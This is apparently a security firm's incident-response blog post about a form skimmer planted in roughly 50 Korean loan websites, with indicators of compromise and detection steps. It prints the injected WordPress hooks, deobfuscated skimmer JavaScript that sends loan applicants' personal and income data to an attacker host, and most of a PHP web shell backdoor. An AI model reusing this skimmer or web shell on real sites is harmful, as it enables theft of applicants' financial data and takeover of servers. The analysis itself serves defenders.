NewDo you know which regulations apply to you? Find out in under 3 minutes. Our sincere gift:EU scoperKorea scoper
How can we help?

Message us on

KakaoTalkLINE

Response within 48 hours

Send us an email →
Blog
Incident Response

Case Study: Loan Website Form Skimmer

May 20, 2026·Alex Holmquist, Panke IT Solutions LLC

The same three lines appeared in functions.php across roughly 50 Korean consumer loan sites running under one brand. Every loan application submitted — name, phone number, income, desired loan amount — was being silently sent to an attacker's server. The sites showed no errors.


The Injection

Two variants were found.

// Group A — direct attacker server reference
add_action('wp_head', function() {
    echo '<script src="https://ll9sh[.]com/custom.min.js"></script>';
}, 99);

// Group B — relay through a compromised intermediary
add_action('wp_head', function() {
    echo '<script src="http://[compromised-site]/wp-content/themes/imedica/js/custom.min.js"></script>';
}, 99);

Priority 99 is deliberate — runs after most plugin hooks, avoiding overwrite conflicts.

Group B doesn't expose the attacker's domain. The intermediary is another Korean .co.kr site compromised in the same campaign, used as a payload relay to bypass simple external-domain blocklists. The same pattern appeared across all 50 sites under the same operator. Not a single opportunistic hit — a coordinated multi-site operation.


Skimmer Analysis

Reverse-engineering ll9sh[.]com/custom.min.js:

(function () {
  var endpoint = atob("aHR0cHM6Ly9sbDlzaC5jb20vanMuanM="); // => https://ll9sh[.]com/js.js

  document.addEventListener("submit", function (e) {
    var form = e.target;
    if (!form.classList.contains("crm-form")) return;

    var payload = {
      name:      form.querySelector('[name="name"]').value,
      contact:   form.querySelector('[name="contact"]').value,
      amount:    form.querySelector('[name="amount"]').value,
      income:    form.querySelector('[name="income"]').value,
      loan_type: form.querySelector('[name="loan_type"]').value,
      t: Date.now(),
      u: location.href,
    };

    navigator.sendBeacon(endpoint, JSON.stringify(payload));
  }, true);
}());

Three things worth noting:

  1. capture: true — Fires in the capture phase, before bubbling. Data leaves before form validation runs; a rejected submission still exfiltrates.
  2. sendBeacon — Delivery is guaranteed even after page unload. fetch or XHR would be cancelled by the browser on navigation.
  3. atob() endpoint — The destination URL doesn't appear in plaintext, bypassing some static analysis tools.

And crm-form, loan_type, income — the attacker knew the exact field names specific to this operator's platform. Prior reconnaissance happened.


The Backdoor

Beyond the skimmer injection, wp-includes/class-wp-update.php was left on the server. This file does not exist in WordPress core.

<?php
$secretKey = '[REDACTED]';
$headerKey = $_SERVER['HTTP_X_SECRET_KEY'] ?? '';

if (!hash_equals($secretKey, $headerKey)) {
    http_response_code(200);
    exit;
}
set_time_limit(0);
ini_set('memory_limit', '-1');
ini_set('output_buffering', 'off');
ini_set('zlib.output_compression', 'Off');
session_start();

/* ===== Command Execution ===== */
if (isset($_POST['cmd']) && $_POST['cmd'] !== '') {
    $cmd = trim($_POST['cmd']);
    $_SESSION['history'][] = $cmd;

    if (preg_match('/^cd\s+(.+)$/i', $cmd, $matches)) {
        $newDir = realpath($_SESSION['cwd'] . DIRECTORY_SEPARATOR . $matches[1]);
        if ($newDir && is_dir($newDir)) {
            $_SESSION['cwd'] = $newDir;
        } else {
            $output = "Directory not found: " . htmlspecialchars($matches[1]);
        }
    } else {
        chdir($_SESSION['cwd']);
        $output = shell_exec($cmd . " 2>&1");
    }
}

// ... (file download, delete, ZIP compress/decompress, and additional features)

Without the correct X-Secret-Key header the file returns a blank HTTP 200 and exits — WAF signatures tuned to 4xx won't fire. Once authenticated: set_time_limit(0) and ini_set('memory_limit', '-1') immediately, designed for long-running commands. cd gets a separate handling path tracking working directory in session state. File upload, download, delete, and ZIP operations are all present. output_buffering and zlib.output_compression are disabled to stream shell output in real time. This is an interactive shell, not a simple file dropper.

The AI generation fingerprint isn't the Bootstrap dark UI — it's the comments. "Set your desired secret key here", "or 403, 404, etc.", "unlimited execution time": an AI explaining its own code and offering options. Korean-language section dividers on top of that makes it nearly certain this was prompted into existence.

Forensic traces

Network concealment was considered: X-Secret-Key doesn't appear in default Apache or nginx access logs. HTTP 200 on failed auth avoids 4xx-keyed WAF signatures.

Host layer was not. session_start() immediately followed by $_SESSION['history'][] = $cmd writes every executed command to a session file. If /tmp/sess_* or /var/lib/php/sessions/ wasn't cleaned up, the attacker's command history is still there. No timestamp manipulation either — mtime of the backdoor file against other wp-includes/ files reveals exactly when it was planted.

The AI-suggested stealth patterns were applied. The operational security a skilled operator would have added was not.


Indicators of Compromise (IoCs)

  1. Malicious domain: ll9sh[.]com
  2. C2 IPs: 172.67.133.240, 104.21.5.227 (behind Cloudflare CDN)
  3. Backdoor file: wp-includes/class-wp-update.php
  4. Network indicator: requests containing an X-Secret-Key HTTP header in access logs
  5. Malicious scripts: https://ll9sh[.]com/custom.min.js, https://ll9sh[.]com/js.js
  6. Distribution path: on imedica-theme sites, /wp-content/themes/imedica/js/custom.min.js containing a submit event listener or sendBeacon call

Detection

  1. Search functions.php for add_action('wp_head'. Any callback that echoes an external URL warrants immediate investigation.
  2. Run wp verify-checksums. Flags files added to wp-includes/ that don't belong to core.
  3. Set functions.php permissions to 444. An attacker with RCE still can't modify the file without further privilege escalation.
  4. Add a CSP script-src directive. Even a successful injection gets blocked at execution.
  5. Parse <script src> domains periodically and alert on anything outside your allowlist. This attack was detectable on the first page load after injection.

Three lines of PHP. Every applicant's financial data gone. Not a sophisticated attack — which is exactly what makes it uncomfortable.

Concerned about your attack surface?

If you'd like to know how your infrastructure scores in an attacker's scanning model, reach out at contact@pankeit.com for an external attack surface assessment.

Subscribe to our blog

Stay up to date with the latest security trends

No spam. Unsubscribe anytime.

HomeAboutPrivacyDMCA

©2026 Panke IT Solutions LLC

Austin, TX